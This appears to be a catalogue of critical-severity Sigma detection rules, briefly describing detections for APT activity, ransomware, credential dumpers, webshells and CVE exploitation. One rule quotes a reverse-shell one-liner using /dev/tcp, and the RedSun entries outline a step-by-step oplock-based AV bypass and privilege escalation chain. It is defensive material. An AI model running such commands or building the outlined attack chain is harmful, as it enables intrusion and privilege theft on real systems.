Critical-severity Sigma rules

Detects WRITE_DAC access to a domain object

windows

Detects a highly relevant Antivirus alert that reports APT malware. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

antivirus

Detects a highly relevant Antivirus alert that reports an exploitation framework. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

antivirus

Detects a highly relevant Antivirus alert that reports password dumpers and stealers. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place and check if passwords need to be reset.

antivirus

Detects a highly relevant Antivirus alert that reports ransomware. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

antivirus

Detects a highly relevant Antivirus alert that reports a remote access tool. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

antivirus

Detects the suspicious file that is created from PoC code against Windows Print Spooler Remote Code Execution Vulnerability CVE-2021-34527 (PrinterNightmare), CVE-2021-1675 .

antivirus

Detects the execution of DLL side-loading malware used by threat group Emissary Panda aka APT27

windows · process_creation

Detects indicators of APT 29 (Cozy Bear) phishing-campaign as reported by mandiant

windows · process_creation

Detects indicators of APT 29 (Cozy Bear) phishing-campaign as reported by mandiant

windows · file_event

Detects APT31 Judgement Panda activity as described in the Crowdstrike 2019 Global Threat Report

windows · process_creation

Detects exploitation of vulnerabilities in Arcadyan routers as reported in CVE-2021-20090 and CVE-2021-20091.

webserver

Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited. MS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability. Unfortunately, that is about the only instance of CVEs being written to this log.

windows

focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including Cobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads that often undergo minimal changes by attackers due to bad opsec.

windows · ps_module

Detects unauthorized access attempts to a resource.

bitbucket

Detects when full data export is attempted an unauthorized user.

bitbucket

Detects a write of an Exchange CSR to an untypical directory or with aspx name suffix which can be used to place a webshell

windows

Detects exploitation attempt against Citrix Netscaler, Application Delivery Controller (ADS) and Citrix Gateway exploiting vulnerabilities reported as CVE-2020-8193 and CVE-2020-8195

webserver

Detects CVE-2019-19781 exploitation attempt against Citrix Netscaler, Application Delivery Controller and Citrix Gateway Attack

webserver

Detects suspicious DNS queries known from Cobalt Strike beacons

dns

Detects the creation of a named pipe as used by CobaltStrike

windows · pipe_created

Detects the creation of a named pipe matching a pattern used by CobaltStrike Malleable C2 profiles

windows · pipe_created

Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement

windows

Detects the creation of a "rundll32" process from the ColdSteel persistence service to initiate the cleanup command by calling one of its own exports. This functionality is not present in "MileStone2017" and some "MileStone2016" samples

windows · process_creation

Detects the creation of an "svchost" process with specific command line flags, that were seen present and used by ColdSteel RAT

windows · process_creation

Detects the exploitation of the Confluence vulnerability described in CVE-2019-3398

webserver

Detects the installation of a service named "javamtsup" on the system. The CosmicDuke info stealer uses Windows services typically named "javamtsup" for persistence.

windows

MODx manager - Local File Inclusion:Directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl, and possibly earlier, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter.

webserver

Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688

webserver

Detects CVE-2020-10148 SolarWinds Orion API authentication bypass attempts

webserver

Detects the exploitation attempt of the vulnerability found in F5 BIG-IP and described in CVE-2020-5902

webserver

Detects driver load events print service operational log that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675

windows

Detects the default filename used in PoC code against print spooler vulnerability CVE-2021-1675

windows · file_event

Detects remote printer driver load from Detailed File Share in Security logs that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 and CVE-2021-34527

windows

Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum

windows · registry_set

Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum

windows · file_event

Detects the exploitation of Microsoft Exchange ProxyToken vulnerability as described in CVE-2021-33766

webserver

Detects an authentication bypass vulnerability affecting the REST API URLs in ADSelfService Plus (CVE-2021-40539).

webserver

Detects outlook initiating connection to a WebDAV or SMB share, which could be a sign of CVE-2023-23397 exploitation.

windows

This detects file modifications to ASPX and ASHX files within the root of the App_Extensions directory, which is allowed by a ZipSlip vulnerability in versions prior to 23.9.8. This occurs during exploitation of CVE-2024-1708. This requires an Advanced Auditing policy to log a successful Windows Event ID 4663 events and with a SACL set on the directory.

windows

Detects GET requests to '/SetupWizard.aspx/[anythinghere]' that indicate exploitation of the ScreenConnect vulnerability CVE-2024-1709.

webserver

Detects DarkSide Ransomware and helpers

windows · process_creation

Detects a Domain Controller machine account authenticating from a source IP that is not a known Domain Controller. DC machine accounts should only authenticate locally or from other DCs during replication operations. Any logon event for a DC account from a workstation or non-DC host is anomalous and indicates one of the following: - Silver Ticket: attacker forged a Kerberos TGS for a DC machine account without requesting a TGT - Pass-the-Ticket: attacker is replaying a captured DC machine account TGS from a non-DC host - Overpass-the-Hash: attacker converted a stolen DC machine account hash into a Kerberos ticket and is authenticating from a non-DC host - Exploitation of certain vulnerabilities such as CVE-2026-54121 (Certighost): attacker obtained a DC certificate via ADCS CDC-chase abuse, authenticates via PKINIT as the DC from their own host, then performs DCSync

windows

Detects the default "UserName" used by the DiagTrackEoP POC

windows

Detects registry event related to the creation of a scheduled task used by Diamond Sleet APT during exploitation of Team City CVE-2023-42793 vulnerability

windows

Detects exploitation of DNS RCE bug reported in CVE-2020-1350 by the detection of suspicious sub process

windows · process_creation

Detects exploits that use CVE-2017-11882 to start EQNEDT32.EXE and other sub processes like mshta.exe

windows · process_creation

Detects the use of the filename DumpStack.log to evade Microsoft Defender

windows · process_creation

Detects Elise backdoor activity used by APT32

windows · process_creation

Detects a specific export function name used by one of EquationGroup tools

windows · process_creation

Detects Golden Chickens deployment method as used by Evilnum and described in ESET July 2020 report

windows · process_creation

Detects successful exploitation of Exchange vulnerability as reported in CVE-2021-28480

webserver

Detects Winword starting uncommon sub process MicroScMgmt.exe as used in exploits for CVE-2015-1641

windows · process_creation

Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759

windows · process_creation

Detects an exploitation attempt in which the UAC consent dialogue is used to invoke an Internet Explorer process running as LOCAL_SYSTEM

windows · process_creation

Detects FlowCloud malware registry markers from threat group TA410. The malware stores its configuration in the registry alongside drivers utilized by the malware's keylogger components.

windows · registry_event

Detects DLL hijacking technique used by NOBELIUM in their FoggyWeb backdoor. Which loads a malicious version of the expected "version.dll" dll

windows · image_load

Detects CVE-2018-13379 exploitation attempt against Fortinet SSL VPNs

webserver

Detects CVE-2021-22123 exploitation attempt against Fortinet WAFs

webserver

Detects service creation persistence used by the Goofy Guineapig backdoor

windows

Detects a successful Grafana path traversal exploitation

webserver

Detects tools and process executions used by Greenbug in their May 2020 campaign as reported by Symantec

windows · process_creation

Detects process execution patterns related to Griffon malware as reported by Kaspersky

windows · process_creation

Detects Baby Shark C2 Framework default communication patterns

proxy

Detects well-known credential dumping tools execution via specific named pipe creation

windows · pipe_created

Detects creation of default named pipe used by the DiagTrackEoP POC, a tool that abuses "SeImpersonate" privilege.

windows · pipe_created

Detects the use of the Dinject PowerShell cradle based on the specific flags

windows · process_creation

Detects the creation of the default dump file used by Outflank Dumpert tool. A process dumper, which dumps the lsass process memory

windows · file_event

Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory

windows · process_creation

Detects some Empire PowerShell UAC bypass methods

windows · process_creation

F-Secure C3 produces DLLs with a default exported StartNodeRelay function.

windows · process_creation

Detects the use of Inveigh a cross-platform .NET IPv4/IPv6 machine-in-the-middle tool

windows · process_creation

Detects the presence and execution of Inveigh via dropped artefacts

windows · file_event

Detects creation of default named pipes used by the Koh tool

windows · pipe_created

Detects the creation of files created by mimikatz such as ".kirbi", "mimilsa.log", etc.

windows · file_event

Detects the execution of the PurpleSharp adversary simulation tool

windows · process_creation

Detects a dump file written by QuarksPwDump password dumper

windows · file_event

Detects the execution of the hacktool Rubeus via PE information of command line parameters

windows · process_creation

Detects the execution of the hacktool SafetyKatz via PE information and default Image name

windows · process_creation

Detects the execution of SecurityXploded Tools

windows · process_creation

Detects the use of SharpUp, a tool for local privilege escalation

windows · process_creation

Detects process activity patterns as seen being used by Sliver C2 framework implants

windows · process_creation

Detects the execution of the PoC that can be used to exploit Sysmon CVE-2022-41120

windows · process_creation

Detects the use of Windows Credential Editor (WCE), a popular post-exploitation tool used to extract plaintext passwords, hash, PIN code and Kerberos tickets from memory. It is often used by threat actors for credential dumping and lateral movement within compromised networks.

windows · process_creation

Detects the execution of different Windows based hacktools via their import hash (imphash) even if the files have been renamed

windows · process_creation

Detects activity observed by different researchers to be HAFNIUM group activity (or related) on Exchange servers

windows · process_creation

Detects signs of the exploitation of LPE CVE-2021-41379 that include an msiexec process that creates an elevation_service.exe file

windows · file_event

Detects different process execution behaviors as described in various threat reports on Lazarus group activity

windows · process_creation

Detects registry key used by Leviathan APT in Malaysian focused campaign

windows · registry_event

Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')

linux · network_connection

Detects LockerGoga ransomware activity via specific command line.

windows · process_creation

Detects a successful export of an Exchange mailbox to untypical directory or with aspx name suffix which can be used to place a webshell or the needed role assignment for it

windows

Detects DLL load activity of known compromised DLLs used in by the compromised 3CXDesktopApp

windows · image_load

Detects the creation of a named pipe seen used by known APTs or malware.

windows · pipe_created

Detects suspicious execution from AsperaFaspex as seen used by Mint Sandstorm

windows · process_creation

Detects suspicious execution from ManageEngine as seen used by Mint Sandstorm

windows · process_creation

Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report

windows

Detects the creation of a file named "MoriyaStreamWatchmen.sys" in a specific location. This filename was reported to be related to the Moriya rootkit as described in the securelist's Operation TunnelSnake report.

windows · file_event

Detects NotPetya ransomware activity in which the extracted passwords are passed back to the main module via named pipe, the file system journal of drive C is deleted and Windows eventlogs are cleared using wevtutil

windows · process_creation

Detects registry keys created in OceanLotus (also known as APT32) attacks

windows · registry_event

Detects OilRig activity as reported by Nyotron in their March 2018 report

windows · process_creation

Detects OilRig registry persistence as reported by Nyotron in their March 2018 report

windows · registry_event

Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report

windows

Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report

windows

Detects access to a webshell dropped into a keystore folder on the WebLogic server

webserver

Detects the exploitation of the WebLogic server vulnerability described in CVE-2021-2109

webserver

Detects exploitation attempt of the OWASSRF variant targeting exchange servers using publicly available POC. It uses the OWA endpoint to access the powershell backend endpoint

proxy

Detects exploitation attempt of the OWASSRF variant targeting exchange servers using publicly available POC. It uses the OWA endpoint to access the powershell backend endpoint

webserver

Detects Pandemic Windows Implant

windows · registry_event

By replacing the sticky keys executable with the local admins CMD executable, an attacker is able to access a privileged windows console session without authenticating to the system. When the sticky keys are "activated" the privilleged shell is launched.

windows · process_creation

Detects command line parameter very often used with coin miners

linux

Detects a specific command used by the Conti ransomware group

windows · process_creation

Detects a suspicious LSASS process process clone that could be a sign of credential dumping activity

windows · process_creation

Detects changes to the Registry in which a monitor program gets registered to dump the memory of the lsass.exe process

windows · registry_event

Detects potential exploitation attempts of CVE-2021-41379 (InstallerFileTakeOver), a local privilege escalation (LPE) vulnerability where the attacker spawns a "cmd.exe" process as a child of Microsoft Edge elevation service "elevation_service" with "LOCAL_SYSTEM" rights

windows · process_creation

Detects a unique pattern seen being used by RomCom potentially exploiting CVE-2023-36884

proxy

Detects potential DLL hijack of "iertutil.dll" found in the DCOM InternetExplorer.Application Class over the network

windows · file_event

Detects potential DLL hijack of "iertutil.dll" found in the DCOM InternetExplorer.Application Class

windows · image_load

Detects potential Dridex acitvity via specific process patterns

windows · process_creation

Detects potential Dtrack RAT activity via specific process patterns

windows · process_creation

Detecting Emotet DLL loading by looking for rundll32.exe processes with command lines ending in ,RunDLL or ,Control_RunDLL

windows · process_creation

Detects specific process characteristics of Maze ransomware word document droppers

windows · process_creation

Detects potential QBot activity by looking for process executions used previously by QBot

windows · process_creation

Detects Russian group activity as described in Global Threat Report 2019 by Crowdstrike

windows · process_creation

Detects the creation of file such as spinstall0.aspx which may indicate successful exploitation of CVE-2025-53770. CVE-2025-53770 is a zero-day vulnerability in SharePoint that allows remote code execution.

windows · file_event

Detects different hacktools used for relay attacks on Windows for privilege escalation

windows · process_creation

Detects an exploitation attempt of SystemNightmare in order to obtain a shell as LOCAL_SYSTEM

windows · process_creation

Detects static QMS 810 and mimikatz driver name used by Mimikatz as exploited in CVE-2021-1675 and CVE-2021-34527

windows · registry_event

Detects specific patterns found after a successful ProxyLogon exploitation in relation to a Commandlet invocation of Set-OabVirtualDirectory

windows

When exploiting this vulnerability with CVE-2021-26858, an SSRF attack is used to manipulate virtual directories

webserver

Detects CVE-2019-11510 exploitation attempt - URI contains Guacamole

webserver

Detects downloads from PwnDrp web servers developed for red team testing and most likely also used for criminal activity

proxy

Detects specific process tree behavior of a "rundll32" execution with exports linked with Qakbot activity.

windows · process_creation

Detects specific process tree behavior of a "rundll32" execution where the DLL doesn't have the ".dll" extension. This is often linked with potential Qakbot activity.

windows · process_creation

Detects the creation of a named pipe with the hardcoded name "REDSUN". The RedSun exploit tool uses a pipe with this name for synchronisation and command communication between its components during the Cloud Files API + oplock-based AV bypass and privilege escalation chain. RedSun creates the pipe as \\??\pipe\REDSUN. The pipe server listens for the token-duplicated elevated process to connect and respond, completing the privilege escalation from user to SYSTEM. Presence of this pipe name indicates active or recent RedSun execution.

windows · pipe_created

Detects Windows Defender (EventID 1119 - Remediation Action Failed) flagging TieringEngineService.exe dropped in a characteristic RS-{GUID} temporary directory, or the RedSun.exe process itself being present. This covers the staging pattern used by RedSun, a Cloud Files API and opportunistic lock (oplock) based AV bypass/privilege escalation tool. RedSun works as follows: 1. Registers a Cloud Files sync root and creates a Cloud Files placeholder for TieringEngineService.exe under %TEMP%\RS-{GUID}\ 2. The placeholder file carries EICAR test file content (Virus:DOS/EICAR_Test_File) to reliably trigger a Defender scan and remediation attempt 3. Requests a batch oplock (FSCTL_REQUEST_BATCH_OPLOCK) on the placeholder file 4. When Defender attempts to scan/quarantine the file, the oplock triggers - holding the file open 5. During the oplock break window, RedSun swaps the mount point (junction) to redirect \\?\C:\Windows\System32 to the attacker-controlled temp path 6. This races the AV/OS into executing the malicious TieringEngineService.exe with elevated privileges

windows

Detects the creation of a file named TieringEngineService.exe inside a directory whose path contains the RS- prefix characteristic of RedSun's staging directory (e.g. %TEMP%\RS-{GUID}\TieringEngineService.exe). RedSun registers a Cloud Files sync root under this RS-prefixed path and drops a masqueraded placeholder there as part of its oplock-based AV bypass and privilege escalation chain. The RS-{GUID} directory name is generated by RedSun itself and has no legitimate system usage, making the combination of this path prefix and the TieringEngineService.exe filename a highly specific indicator of RedSun activity.

windows · file_event

Detects the presence of a registry key created during Azorult execution

windows · registry_event

Detects the execution of whoami that has been renamed to a different name to avoid detection

windows · process_creation

Detects process command line patterns and locations used by REvil group in Kaseya incident (can also match on other malware)

windows · process_creation

Detects Rorschach ransomware execution activity

windows · process_creation

Detects patterns as noticed in exploitation of Serv-U CVE-2021-35211 vulnerability by threat group DEV-0322

windows · process_creation

Detects Silence EmpireDNSAgent as described in the Group-IP report

windows · ps_script

Detects potential C2 communication related to Small Sieve malware

proxy

Detects SNAKE malware kernel driver file indicator

windows · file_event

Detects the creation of a service named "WerFaultSvc" which seems to be used by the SNAKE malware as a persistence mechanism as described by CISA in their report

windows

Detects access to SUPERNOVA webshell as described in Guidepoint report

webserver

Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen

windows · process_creation

Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen

windows · registry_event

Detects URP patterns and status codes that indicate a successful ProxyShell exploitation attack against Exchange servers

webserver

Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287

linux

Detects suspicious child processes of the Veeam service process. This could indicate potential RCE or SQL Injection.

windows · process_creation

Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons

windows

Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons

windows · dns_query

Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations

windows · process_creation

Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations

windows · ps_script

Detects indicators of a UAC bypass method by mocking directories

windows · process_creation

Detects commands used by Turla group as reported by ESET in May 2020

windows · process_creation

Detects automated lateral movement by Turla group

windows · process_creation

Detects a named pipe used by Turla group samples

windows · pipe_created

This method detects malicious services mentioned in Turla PNG dropper report by NCC Group in November 2018

windows

Detects a specific PowerShell command line pattern used by the UNC2452 actors as mentioned in Microsoft and Symantec reports

windows · process_creation

Detects execution of specific named binaries which were used by UNC4841 to deploy their SEASPY backdoor

linux · process_creation

Detects Ursnif C2 traffic.

proxy

Detects WannaCry ransomware activity

windows · process_creation

Detects wceaux.dll access while WCE pass-the-hash remote command execution on source host

windows

Detects possible command execution by web application/web shell

linux

Detects suspicious computer name samtheadmin-{1..100}$ generated by hacktool

windows

Detects the use of Windows Credential Editor (WCE)

windows · registry_event

Detects specific process characteristics of Winnti malware noticed in Dec/Jan 2020 in a campaign against Honk Kong universities

windows · process_creation

Detects specific process characteristics of Winnti Pipemon malware reported by ESET

windows · process_creation

Detects a WMI backdoor in Exchange Transport Agents via WMI event filters

windows · process_creation

Detects the creation of the default output filename used by the wmiexec tool

windows · file_event

Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network and loading it for a WMI DLL Hijack scenario.

windows · file_event

Detects post-exploitation access to the wp2shell webshell plugin dropped after successful exploitation of CVE-2026-63030 and CVE-2026-60137. After the pre-auth SQLi-to-admin bridge is established, the attacker can upload a malicious plugin (wp2shell) to the target WordPress instance. At this phase, the attacker accesses the webshell for command execution and persistence.

webserver

This rule is designed to detect attempts to exploit Zerologon (CVE-2020-1472) vulnerability using mimikatz zerologon module or other exploits from machine with "kali" hostname.

windows

Detects a ZxShell start by the called and well-known function name

windows · process_creation